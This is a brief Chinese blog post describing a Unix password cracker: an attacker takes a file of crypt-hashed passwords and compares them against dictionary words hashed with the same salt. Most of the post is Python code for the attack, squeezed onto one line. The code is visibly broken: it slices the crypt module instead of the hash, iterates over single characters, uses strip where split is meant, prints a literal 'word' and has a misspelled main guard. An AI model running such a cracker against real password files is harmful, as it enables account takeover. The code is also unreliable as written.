unix破解机
作者:互联网
1.黑客会下载好数据库中已经被hash加密后的口令文件
2.黑客用字典+salt加密的形式加密后与口令文件进行对比,相同则说明找到正确口令
import crypt #通过规律得到加密口令的前两位就是salt值,那么通过crypt加密,将加密后的值与文件中的值进行比较 #程序设计方法:运用testPass函数,实现比较的功能 # 在main函数中读取相应的加密口令传入testPass进行再加密和比较 def testPass(cryptPass): salt = crypt[0:2] dicFile = open('dictionary.txt','r') for word in dicFile.readline(): word = word.strip('\n') cryptWord = crypt.crypt(word,salt) if (cryptWord == cryptPass): print("Found password:" + "word" + '\n') return def main(): passFile = open('password.txt') for password in passFile.readline(): if ":" in password: user = password.strip(':')[0] password = password.strip(':')[1] testPass(password) if __name__ == "__main" : main()
标签:main,加密,testPass,crypt,unix,word,password,破解 来源: https://www.cnblogs.com/lzwhehe/p/15193367.html